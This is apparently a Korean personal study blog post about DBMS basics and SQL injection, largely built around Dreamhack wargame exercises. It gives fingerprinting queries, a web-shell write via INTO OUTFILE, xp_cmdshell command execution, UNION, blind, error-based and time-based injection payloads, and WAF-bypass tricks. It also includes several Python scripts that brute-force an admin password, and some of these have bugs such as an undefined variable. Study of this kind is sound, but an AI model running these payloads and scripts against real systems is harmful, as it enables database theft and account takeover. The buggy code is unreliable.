amy_ 2022. 4. 26. 02:30

DBMS

웹서비스는 DB에 정보를 저장하고, 이를 관리하기 위해 DBMS를 사용한다.

종류 대표적인 DBMS
Relational (관계형) MySQL, MariaDB, PostgreSQL, SQLite
Non-Relational (비관계형) MongoDB, CouchDB, Redis

RDMS는 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리한다.

DBMS Misconfiguration

계정 및 권한이 적절하게 분리되지 않았거나 부릴요한 기능의 활성화, 그리고 DB의 보안 설정이 미흡한 경우

주의사항

- 서버에서 DBMS를 작동할 때는 DBMS 전용 계정을 만들어 사용해야 한다. (루트 계정이나 www-data 등의 계정으로 X)

- 대소문자를 구분하지 않는 DBMS도 있으니 이를 확인해보자

MySQL

파일 관련된 작업을 할 때에는 mysql 권한으로 수행되며, "my.cnf" 설정 파일의 secure_file_priv 값에 영향을 받는다.

select @@secure_file_priv; # 권한 확인

load_file 함수는 전달된 파일을 읽고 출력한다 (절대 경로 입력)

select load_file('/var/lib/mysql-files/test');

SELECT ... INTO 형식의 쿼리는 쿼리 결과를 변수나 파일에 쓸 수 있다.

select '<?=`ls`?>' into outfile '/tmp/a.php';

MSSQL

xp_cmdshell 기능을 이용해 OS 명령어를 실행할 수 잇다. (SQL Server 2005 버전 이후부터는 거의 불가)

SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell' # xp_cmdshell 활성화 여부
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

DBMS Fingerprinting

SQL Injection 취약점을 발견하면 먼저 DBMS의 종류와 버전을 알아내야 한다.

더보기
  • 쿼리 실행 결과 출력
  • 에러 메시지 출력
  • 참 또는 거짓 출력
  • 시간 지연 발생

MySQL

쿼리 실행 결과 출력

select @@version;
select version();
/* 5.7.29-0ubuntu0.16.04.1 */

에러 메시지 출력 : 아래의 예시에서 1222 에러코드는 MySQL 에서 명시한 코드이다.

select 1 union select 1, 2;
/* ERROR 1222 (21000): The used SELECT statements have a different number of columns */

참 또는 거짓 출력

# @@version => '5.7.29-0ubuntu0.16.04.', mid(@@version, 1, 1) => '5'
select mid(@@version, 1, 1)='5'; /* 1 */

시간 지연 발생

select mid(@@version, 1, 1)='5' and sleep(2); /* 0 (sleep 실행) */

PostgreSQL

쿼리 실행 결과 출력

select version();
/* PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit */

에러 메시지 출력

select 1 union select 1, 2;
/* ERROR:  each UNION query must have the same number of columns */

참 또는 거짓 출력

# version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P'
select substr(version(), 1, 1)='P'; /* t */
select substr(version(), 1, 1)='Q'; /* f */

시간 지연 발생

select substr(version(), 1, 1)='P' and pg_sleep(10); /* 시간지연 */

MSSQL

쿼리 실행 결과 출력

select @@version;
/*
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
	Nov 30 2018 12:57:58
	Copyright (C) 2017 Microsoft Corporation
	Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
*/

에러 메시지 출력

select 1 union select 1, 2;select 1 union select 1, 2;
/*
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf
*/

참 또는 거짓 출력

 # @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
 select 1 from test where substring(@@version, 1, 1)='M'; /* 1 */

시간 지연 발생

select 1 where substring(@@version, 1, 1)='M' and waitfor delay '0:0:5';

SQLite

쿼리 실행 결과 출력

select sqlite_version();
/* 3.11.0 */

에러 메시지 출력

select 1 union select 1, 2;
/* Error: SELECTs to the left and right of UNION do not have the same number of result columns */

참 또는 거짓 출력

# sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
select substr(sqlite_version(), 1, 1)='3'; /* 1 */
select substr(sqlite_version(), 1, 1)='4'; /* 0 */

시간 지연 발생

select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;

 

System Table Fingerprinting

 

 

SQL

SQL : RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어이다. (웹이 DBMS와 상화작용할 때 사용)

언어 설명
DDL 데이터를 정의하기 위한 언어. 스키마, DB의 생성/수정/삭제 등을 수행한다
DML 데이터를 조작하기 위한 언어. 실제 DB 내에 존재하는 데이터의 조회/저장/수정/삭제 등을 수행한다
DCL DB의 접근 궎나 등을 설정하기 위한 언어.  GRANT (이용자 권한 부여), REVOKE(이용자 권한 박탈)

DDL

데이터베이스 생성

CREATE DATABASE Gotroot;

테이블 생성

USE Gotroot;

CREATE TABLE Member(
	idx INT AUTO_INCREMENT,
	name VARCHAR(10) NOT NULL.
	age INT NOT NULL,
	PRIMARY Key(idx)
);

DML

테이블 데이터 생성

INSERT INTO Member(name, age) Values('Amy', 26);
INSERT 
    INTO boards (title, boardcontent)
    VALUES ('title 1', (select upw from users where uid='admin'));

-> 서브쿼리를 통해 다른 테이블에 있는 데이터를 추가할 수도 있다.

테이블 데이터 조회

SELECT name, age FROM Member Where idx=1;
ORDER BY 조회한 결과를 원하는 컬럼 기준으로 정렬
LIMIT 조회환 결과에서 행의 갯수와 오프셋 지정
like 해당 문자가 포함되어 있는지 찾는다 (%abc% "abc문자가 포함되어 있는지)
 / DESC 오름차순 / 내림차순

테이블 데이터 변경

UPDATE Member SET age=23 WHERE idx=1;

테이블 데이터 삭제

DELETE FROM members where name='amy';

 

SQL Injection

SQL Injection : 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위 -> 인증을 우회하거나 DB의 정보를 유출할 수 있다.

 

Form SQL Injection

' or 1=1--

UNION SQL Injection

과정

①   등을 넣어 서버 내부의 query문에 입력값이 영향을 주는 지 확인한다

② column 수 알아내기 (ex.  ' order by 4--  )

③ data type이 string인 column 찾기 (ex.  ' union select null, 'a', null--  )

④ 원하는 데이터 추출 (ex.  ' union select username, password from users whrer useanme='admin'--  )

주의할점

- Oracle DB는 table을 지정하지 않으면 select문을 쓸 수 없다.

Blind SQL Injection

Blind SQL Injection : 질의 결과를 이용자가 직접 확인하지 못한다면 참/거짓 반환 결과로 데이터를 획득하는 공격 기법

더보기

ascii : 전달된 문자를 아스키 형태로 반환하는 함수 (32~126 : 알파벳, 숫자, 특수문자)

substr : 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수

첫번째 글자 구하기

SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw='';
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw='';

두번째 글자 구하기

SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=114-- ' and upw='';
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw='';

정규 표현식 사용

정규표현식 regexp 구문을 사용하여 문자열을 찾을 수 있다.

uid=admin" and upw regexp 'p.*' -- 
uid=admin" and upw regexp 'pw.*' -- 
...
uid=admin" and upw regexp 'pw1337' --

GET method 공격 스크립트 예제

#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

POST method 공격 스크립트 예제

import requests

url = "http://host1.dreamhack.games:17769/login"


length=0
while 1:
    password = '" or (select length(userpassword) where userid="admin")='+str(length)+'-- '
    data = {'userid': 'guest', 'userpassword': password}
    res = requests.post(url, data=data)
    if "wrong" in res.text:
        length+=1
    else:
        print("password length = "+str(length))
        break

pw=""
for i in range(1, length+1):
    for j in range(0x20, 0x7F):
        query = f'"or ((select substr(userpassword, {i}, 1) from users where userid="admin") = "{chr(j)}") --'
        data = {'userid': 'guest', 'userpassword': query}
        res = requests.post(url, data=data)
        if res.text.find('hello') != -1:
            pw+=chr(j)
            break

print("password = "+pw)

Binary Search 스크립트 예제

#!/usr/bin/python3.7
import requests
import sys
from urllib.parse import urljoin
class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ''
        for idx in range(1, pw_len+1):
            query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
            print(f"{idx}. {pw}")
        return pw
    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

Bit 연산 스크립트 예제

from requests import get

url = "http://host1.dreamhack.games:14457/"
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{url}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

password = ""
for i in range(1, password_length + 1):
    ...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

Error based SQL Injection

Error based SQL Injection : 임의로 에러를 발생시켜 데이터베이스 및 운영 체제의 정보를 획득하는 공격

- DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임 에러가 필요하다!

더보기

extractvalue : 첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH 식을 통해 데이터를 추출하는 함수

-> 두번째 인자가 올바르지 않은 XPATH 식이라면 에러메시지와 함께 그 결과를 반환한다.

SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
/* ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd' */

MYSQL

SELECT updatexml(null,concat(0x0a,version()),null);
SELECT extractvalue(1,concat(0x3a,version()));
/* ERROR 1105 (HY000): XPATH syntax error: '5.7.29-0ubuntu0.16.04.1-log' */
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
/* ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>' */

MSSQL

SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
/*
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86) 
	Feb 20 2014 19:20:46 
	Copyright (c) Microsoft Corporation
	Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
' to data type int.
*/

Oracle

SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
/*
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 183
ORA-06512: at "CTXSYS.DRITHSX", line 555
ORA-06512: at line 1
*/

Error based Blind SQL Injection

'+||+(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')--+

-> case when 뒤의 조건식이 참이라면 to_char(1/0)을 실행하여 에러가 나고, 거짓이라면 에러가 나지 않는다.

Time based SQL Injection

Time based SQL Injection : 시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법

MySQL

SELECT SLEEP(1);
SELECT BENCHMARK(40000000,SHA1(1));
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;

MSSQL

SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)

SQLite

SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));

 

Bypass WAF

탐지 우회

대소문자 검사 미흡

UniOn SeLecT 1,2,3;

탐지 과정 미흡

"union" 이라는 문자열을 탐지하고 공백으로 치환할경우

UNunionION SELselectECT 1,2 --

문자열 검사 미흡

reverse와 concat 함수를 이용해 문자열을 뒤집거나 이어붙이며 16진수를 사용해 임의의 문자열을 완성한다.

SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;

연산자 검사 미흡

"and", "or"과 같은 연산자를 "&&", "||"로 우회할 수 있다. 이 외에도 ^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있다.

공백 탐지

이름, 생년월일과 같은 항목은 공백이 필요하지 않기때문에, 공백을 허용하지 않는 경우가 많다.

SELECT/**/'abc'; # 주석을 이용한 우회
select`username`,(password)from`users`WHERE`username`='admin'; # Back Quote를 이용한 우회

아니면 URL Encoding(%09) 값 or 괄호 사용하기

MySQL 우회 기법

MySQL 진법 or 함수를 이용한 문자열 검사 우회

select 0x6162, 0b110000101100010;
select char(0x61, 0x62);
select concat(char(0x61), char(0x62));
 /* ab */

주석 구문 실행

WAF은  /*___*/ 문자열을 주석으로 인식하고 쿼리 구문으로 해석하지 않는다.

반면에 MySQL은  /*!___*/  은 쿼리의 일부로 실행한다

select 1 /*!union*/ select 2;

PostgreSQL 우회 기법

PostgreSQL 함수를 이용한 문자열 검사 우회

select chr(65); /* A  */
select concat(chr(65), chr(66)); /* AB */

MSSQL 우회 기법

MSSQL 함수를 이용한 문자열 검사 우회

select char(0x61); /* a */
select concat(char(0x61), char(0x62)); /* ab */

SQLite 우회 기법

SQLite 함수를 이용한 문자열 검사 우회

select char(0x61); /* a */
select char(0x61)||char(0x62); /* ab */

구문 검사 우회

SELECT 구문을 사용하지 못하면 원하는 값을 반환하지 못한다. 이 때,UNION VALUES(num)을 이용하자.

select 1 union values(2);

 

그 외의 주목할 만한 점

row(1,1) 함수를 이용하면 칼럼의 개수를 조절할 수 있다.

참고 : https://www.notion.so/counting-query-0bad32d2efa94ce9b2eb346138b1fe16